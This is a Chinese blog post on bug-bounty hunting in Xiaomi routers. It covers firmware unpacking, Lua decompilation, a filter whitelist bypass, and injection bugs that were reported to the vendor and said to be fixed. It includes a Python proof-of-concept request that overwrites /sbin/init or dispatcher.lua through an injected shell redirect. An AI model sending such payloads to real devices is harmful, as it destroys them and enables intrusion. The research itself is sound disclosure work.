某米路由器漏洞挖掘分享

前言

去年年中开始接触IOT设备的漏洞挖掘, 之后有几个聊胜于无的产出, 但没啥变现机会, 大概是去年的国庆前后, 一位学长告诉我某米SRC最近有活动, 可以多看看这家路由器

某米大概是国内少有的愿意给该类漏洞支付赏金并且出手大方的厂商了, 早在之前其实就有看过他家的设备, 不过当时只是为了复现漏洞, 没啥能力也没有想法深入挖挖

在学长提醒之后, 就开始了这次的漏洞挖掘, 某米的设备采用的是魔改的openwrt框架, 仅开放了少数几个未授权接口, 这几个接口在前些年爆出过危害性高的漏洞, 一波修复之后, 看不出来有什么问题, 再加上菜菜, 主要挖掘的方向还是挖掘难度耕地而且危害也不那么高的授权接口

好在运气还行, 找到了几个危害不大的水洞, 某米给钱大方加之活动加成(投递漏洞忘记参加活动了, 感谢开恩的技术小哥orz), 也算是小挣一笔, 距离漏洞提交已经过了大半年, 看了一下最新版本漏洞已经修复了, 跟大家分享一下漏洞挖掘的经验

关于固件

某米路由器的固件大多可以在MiWiFi – 下载找到, 不过不一定是最新版本

固件采用的是ubifs, 没有加密, 直接用ubireader + unsquashfs就能解开

openwrt框架下cgi的主要逻辑在usr/lib/lua/luci/controller/目录下, 此外还有一个某米自己常用的库在路径usr/lib/lua/xiaoqiang/, 我们关注的主要也就是这两部分

直接打开其中的.lua文件发现是编译后luac文件, 且是魔改后的luac, 那么还需要对其进行反编译, 好在github上已经有许多工具了, NyaMisty/unluac_miwifi是其中很不错的一个

反编译的结果其实已经能够大致阅读了, 不过现在ai这么普遍, 可以再借助ai进一步还原反编译结果的可读性

直接结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
function L4()
local L0, L1, L2, L3, L4, L5, L6, L7, L8, L9, L10, L11, L12, L13, L14, L15
L0 = require
L1 = "xiaoqiang.common.XQFunction"
L0 = L0(L1)
L1 = require
L2 = "luci.cbi.datatypes"
L1 = L1(L2)
L2 = {}
L3 = 0
L4 = _UPVALUE0_
L4 = L4.formvalue
L5 = "mac"
L4 = L4(L5)
L5 = _UPVALUE0_
L5 = L5.formvalue
L6 = "wan"
L5 = L5(L6)
L5 = L5 or L5
L6 = _UPVALUE0_
L6 = L6.formvalue
L7 = "lan"
L6 = L6(L7)
L6 = L6 or L6
L7 = _UPVALUE0_
L7 = L7.formvalue
L8 = "admin"
L7 = L7(L8)
L7 = L7 or L7
L8 = _UPVALUE0_
L8 = L8.formvalue
L9 = "pridisk"
L8 = L8(L9)
L8 = L8 or L8
L9 = _UPVALUE0_
L9 = L9.formvalue
L10 = "name"
L11 = nil
L12 = "?commonstr"
L9 = L9(L10, L11, L12)
L9 = L9 or L9
L10 = _UPVALUE0_
L10 = L10.formvalue
L11 = "option"
L10 = L10(L11)
L10 = L10 or L10
L11 = L0.isStrNil
L12 = L4
L11 = L11(L12)
if not L11 then
L11 = L1.macaddr
L12 = L4
L11 = L11(L12)
if L11 then
L11 = _setMacFilter
L12 = L4
L13 = L9
L14 = L10
L15 = L5
L11 = L11(L12, L13, L14, L15)
L3 = L11
end
else
L3 = 1508
end
L2.code = L3
if L3 ~= 0 then
L11 = _UPVALUE1_
L11 = L11.getErrorMessage
L12 = L3
L11 = L11(L12)
L2.msg = L11
end
L11 = _UPVALUE0_
L11 = L11.write_json
L12 = L2
L11(L12)
end
setMacFilter = L4

ai恢复可读性

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
-- 设置MAC过滤的函数
function setMacFilter()
-- 导入模块
local XQFunction = require("xiaoqiang.common.XQFunction")
local datatypes = require("luci.cbi.datatypes")
-- 用于存储返回结果
local result = {}
-- 获取表单数据
local mac = _UPVALUE0_.formvalue("mac")
local wan = _UPVALUE0_.formvalue("wan") or ""
local lan = _UPVALUE0_.formvalue("lan") or ""
local admin = _UPVALUE0_.formvalue("admin") or ""
local pridisk = _UPVALUE0_.formvalue("pridisk") or ""
local name = _UPVALUE0_.formvalue("name", nil, "?commonstr") or ""
local option = _UPVALUE0_.formvalue("option") or ""
-- 初始化返回码
local code = 0
-- 检查MAC地址是否有效
if not XQFunction.isStrNil(mac) then
if datatypes.macaddr(mac) then
-- 设置MAC过滤并获取返回码
code = _setMacFilter(mac, name, option, wan)
else
code = 1508 -- 无效MAC地址错误码
end
else
code = 1508 -- MAC地址为空错误码
end
-- 设置返回结果
result.code = code
-- 如果有错误,获取错误信息
if code ~= 0 then
result.msg = _UPVALUE1_.getErrorMessage(code)
end
-- 输出JSON结果
_UPVALUE0_.write_json(result)
end

效果外瑞古德

漏洞挖掘

对目标进行挖掘时, 有两篇文章给予了我莫大帮助

奇安信攻防社区-小米AX9000路由器CVE-2023-26315漏洞挖掘

Rooting Xiaomi WiFi Routers

winmt神的文章介绍的挖掘方向主要是通过lua层面的接口进入二进制层面进行漏洞挖掘

第二篇文章介绍了数个漏洞, 但主要参考其中针对早期miwifi设备并没有对\n过滤, 进行命令注入的部分

作为没啥经验的菜鸡, 不妨先顺着前辈的思路走, 看有无漏网之鱼

尝试一

winmt神的文章已经将分析过程写得非常详细

针对该类漏洞直接在获得的各个固件文件系统去找/sbin目录下的plugincenter, smartcontroller, indexservice等文件, 拖入到ida中交叉引用命令执行函数即可

一番搜索还真在Redmi_AC2100中找到一个

***2100中当访问/api/xqdatacenter/request且用户传入的api数值为605

经由thrifttunneldatacener处理后

最终请求会被交付给程序/usr/sbin/plugincenter中的接口parseUninstallPluginApi进行处理,其目的是进行插件卸载工作

进入datacenter::PluginApiBasic::uninstallPlugin

核心是PluginManager::uninstallPlugin函数

在该流程中并没有用户输入进行足够的合法性验证,导致用户输入被直接拼接入命令中执行,从而导致命令注入

满心欢喜提交, 可惜内部已知

尝试二

经过第一次尝试, 发现rpc调用模式下漏洞存量并不多, 且偶有产出也大概率重复(挖的人着实不少)

那么不妨将目光转向lua层, lua层接口成百上千, 且调用了大量库内容, 可挖掘内容是二进制层面的好几倍

针对iot设备常见的漏洞挖掘方式, 主要有两种

  1. 从用户可控数据流出发, 追踪数据流流经的相关处理, 判断其中是否存在危险点
  2. 批量寻找危险点, 反向分析是否能够受用户控制

在如此多接口的情况下, 显然第二种方法会更优

观察一下, 发现cgi中用于执行系统命令的方法主要有三个

1
2
3
xiaoqiang.common.XQFunction.forkExec
os.execute
luci.util.exec

不知道大佬有没有更好的办法, 反正我们菜鸡就是直接用文档编辑器逐个打开反编译出来的lua文件, 批量搜索这些方法的调用, 观察参数是否能够受用户控制, 也就是来自formvalue

就是这么简单粗暴, 没有一丝套路

这么在/usr/lib/lua/luci/controller/api一通乱搜, 还真有所收获

在设备be*/usr/lib/lua/luci/controller/api/xqnetwork.lua中有一个函数setNfcStatus

反编译后结果大致如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
function setNfcStatus()
local xqLog = require("xiaoqiang.XQLog")
local uci = require("luci.model.uci").cursor()
local nfcUtil = require("xiaoqiang.util.XQNfcUtil")
local xqFunction = require("xiaoqiang.common.XQFunction")

local nfc_enable = LuciHttp.formvalue("nfc_enable")
local response = {}
response.code = 0

uci:set("nfc", "nfc", "nfc_enable", nfc_enable)
uci:commit("nfc")

if nfc_enable == "0" then
nfcUtil.nfc_disable()
else
nfcUtil.nfc_update()
end

local isMeshRe = xqFunction.isMeshRe()

if isMeshRe then
nfcUtil.nfc_mesh_sync_disable()
else
local isMeshCap = xqFunction.isMeshCap()

if isMeshCap then
local randomID = xqFunction.GenRandID(8)
uci:set("nfc", "nfc", "config_id", randomID)

local syncData = {}
syncData.cmd = "sync_nfc"
syncData.nfc_enable = tostring(nfc_enable)

local json = require("luci.json").encode(syncData)
xqLog.log(6, "CAP call RE do action msg: " .. json)

xqFunction.forkExec("/sbin/whc_to_re_common_api.sh action '" .. json .. "'")
end
end

uci:commit("nfc")

LuciHttp.write_json(response)
end

nfc_api = configureNFC

当满足isMeshRe==false&&isMeshCap==true,例如在NETMODEwhc_cap以及其他一些情况下

nfc_enable由用户传入,经过json.encode转化为json字符串

1
{"cmd":"sync_nfc","nfc_enable":"{nfc_enable}"}

最终被拼接入命令并执行

1
/sbin/whc_to_re_common_api.sh action '{"cmd":"sync_nfc","nfc_enable":"{nfc_enable}"}'

由于并没有检查nfc_enable中的',所以用户可以传入单引号使得命令提前闭合

但是当尝试按照第二篇文章中提到的使用\n进行命令注入时, 却并没有成功, 那么大概率某米在上次漏洞之后, 应该是已经将\n加入了过滤字符中了

验证一下, 搜索formvalue方法的定义, 找到其位于/usr/lib/lua/luci/http.lua

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
function context.request:formvalue(self, key, skipParsing)
-- 如果未跳过解析且输入未解析,则解析输入
if not skipParsing and not self.parsed_input then
self:_parse_input()
end

-- 如果提供了键,则返回对应参数值,否则返回所有参数
return key and self.message.params[key] or self.message.params
end

function formvalue(key, defaultValue, validator)
-- 从请求中获取表单值
local value = context.request:formvalue(key, defaultValue)

-- 如果提供了验证器,则进行验证
if validator then
if not _UPVALUE0_.verify(value, validator) then
_UPVALUE1_.log(3, "verify false key:", key, " val:", value)
return nil
end
return value
else
-- 没有验证器时进行安全检查
return _UPVALUE2_.hackCheck(key, value)
end
end

formvalue会根据可能存在的第三个参数进行对应的校验, 例如commonstr, numberstr之类的

在这个函数中, 并没有使用第三个参数, 那过滤显然在于hackcheck函数中

hakcheck位于/usr/lib/lua/xiaoqiang/common/XQFunction.lua

反编译后在该函数上方可以找到过滤字符集

1
2
3
L14 = [=[
[`;|$&
]]=]

看起来没有\n, 但仅仅只是因为反编译过程中\n被转义了, 实际上是有的

那么现在确定了, \n作为分隔符进行命令注入已经行不通了, 难道最终只能功亏一篑

此时在setNfcStatus中又注意到这么一部分代码

1
2
3
4
5
6
7
8
local syncData = {}
syncData.cmd = "sync_nfc"
syncData.nfc_enable = tostring(nfc_enable)

local json = require("luci.json").encode(syncData)
xqLog.log(6, "CAP call RE do action msg: " .. json)

xqFunction.forkExec("/sbin/whc_to_re_common_api.sh action '" .. json .. "'")

formvalue得到的nfc_enable本身就是字符串, 但是却又调用了一次tostring函数

那么tostring函数会不会存在对转义字符的处理呢, 因为formvalue并没有对\进行过滤, 如果nfc_enable中包含\x24那么tostring就会将其转义为$等分割字符

是的确实可行, 但当我再次仿真环境, 进行测试时却依然失败了, 研究一下, 发现设备使用的lua是5.1.5版本的, 这个版本的tostring并没处理转义字符的能力

气!!接连得失败这次挖洞之旅就这么结束了么!!!!

既然命令注入没得法了, 但拒绝服务还是可以做到的

前面提到setNfcStatus中执行命令时没有检查'闭合, 在不能使用命令分割符的情况下, 还有一个特殊字符>, 重定向符!!

提前闭合''后, 插入>符号, 将命令的输出重定向到任意指定路径, 覆盖可执行文件和脚本, 进行设备破坏

例如/usr/lib/lua/luci/dispatcher.lua, /sbin/init

写个验证脚本

1
2
3
4
5
6
7
import requests

path = "/usr/lib/lua/luci/dispatcher.lua"
#path = "/sbin/init"
token = "960426559944fb61fc96e9039853d36a"

requests.get("http://192.168.0.8/cgi-bin/luci/;stok={}/api/xqnetwork/set_nfc_status?nfc_enable='>%20{}%20'".format(token,path))

攻击后结果

1
2
3
4
$cat /usr/lib/lua/luci/dispatcher.lua
{ "method": "common_set", "payload": "{ \"action\": \"{\\\"cmd\\\":\\\"sync_nfc\\\",\\\"nfc_enable\\\":\\\"\" }" }
$cat /sbin/init
{ "method": "common_set", "payload": "{ \"action\": \"{\\\"cmd\\\":\\\"sync_nfc\\\",\\\"nfc_enable\\\":\\\"\" }" }

这个漏洞只是在/usr/lib/lua/luci/controller/api目录下扫到的, 还有大量的处理代码位于/usr/lib/lua/xiaoqiang

/usr/lib/lua/xiaoqiang中同样按照上面的提到的由危险函数出发, 但麻烦一点, 还要判断有漏洞的函数是否会被/usr/lib/lua/luci/controller/api中的接口调用

扫一遍, 又发现了数个类似的漏洞, 虽然这几个漏洞没啥实际应用意义, 但某米给出了0.5k-1k的单个价格, 且活动期间*2.5, 如果有还是还是挺爽的

尝试三

难道这么辛苦挖一番, 最后连个命令注入都捞不到吗!!!到也不一定

之前观察formvalue时提到其会调用hackcheck函数进行危险字符过滤

再观察这个函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
-- 敏感字段安全检查函数
function hackCheck(fieldName, fieldValue)
-- 如果字段名或字段值为空,直接返回原始值
if not fieldName or not fieldValue then
return fieldValue
end

-- 如果是敏感字段,不进行检查直接放行(可能由其他机制处理)
if SENSITIVE_FIELDS[fieldName] then
return fieldValue
end

-- 检查字段值是否包含危险字符
if string.find(fieldValue, DANGEROUS_CHARS) then
_UPVALUE2_.log(3, "hackCheck match key:", fieldName, " val:", fieldValue)
return nil -- 包含危险字符,返回nil表示过滤该值
end

-- 不包含危险字符,返回原始值
return fieldValue
end

注意到

1
2
3
4
-- 如果是敏感字段,不进行检查直接放行(可能由其他机制处理)
if SENSITIVE_FIELDS[fieldName] then
return fieldValue
end

也就是说hackcheck的过滤是存在一个白名单的, 针对这个白名单中的值, 不进行过滤, 直接返回

向上查找, 找到白名单

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
-- 定义需要进行安全检查的敏感字段
local SENSITIVE_FIELDS = {
name = true,
password = true,
password2g = true,
password5g = true,
password5g2 = true,
pppoeName = true,
pppoePwd = true,
pwd = true,
pwd1 = true,
pwd2 = true,
pwd3 = true,
newPwd = true,
service = true,
ssid = true,
ssid1 = true,
ssid2 = true,
ssid3 = true,
ssid2g = true,
ssid5g = true,
ssid5g2 = true,
username = true,
apn = true,
pdp = true,
user = true,
passwd = true,
contact_phone = true,
phoneList = true,
msgtext = true,
acs_username = true,
acs_password = true,
conn_username = true,
conn_password = true
}

也就是说formvalue这些值时, 是不会有检查的, 那么现在要做的就是找找有没有通过formvalue获得这些值, 之后又没有进一步检查的接口了

别说, 还真有!

/lua/luci/controller/api/xqsystem.lua中的setMacFilter接口

观察setMacFilter函数

当用户传入一个格式合法的mac地址时便会进入_setMacFilter

在进行检查mac地址数量是否超过限制与进行一些设置后又进入XQFirewall.setMacFilter位于(/lua/xiaoqiang/module/XQFirewall.lua)

该函数会在已有的macfilters中寻找即将处理的情况,只要避免两种不合理情况即会向下继续进行

  • 增加重复
  • 删去不存在

而这两种情况都能够通过自定义传入的值进行绕过

注意到name刚好就是一个白名单中的属性, 且最后在没有充分的检查的情况下, 就直接拼接入命令中执行, 也就造成了一个命令注入

据说在之前命令注入的单价是4k, 活动时10k, 我交的时候, 没给这么高, 但也挺不错了

End

这篇文章分享一下某米路由器漏洞挖掘时的经验, 希望对有想尝试挖一挖某米路由器的小伙伴有所帮助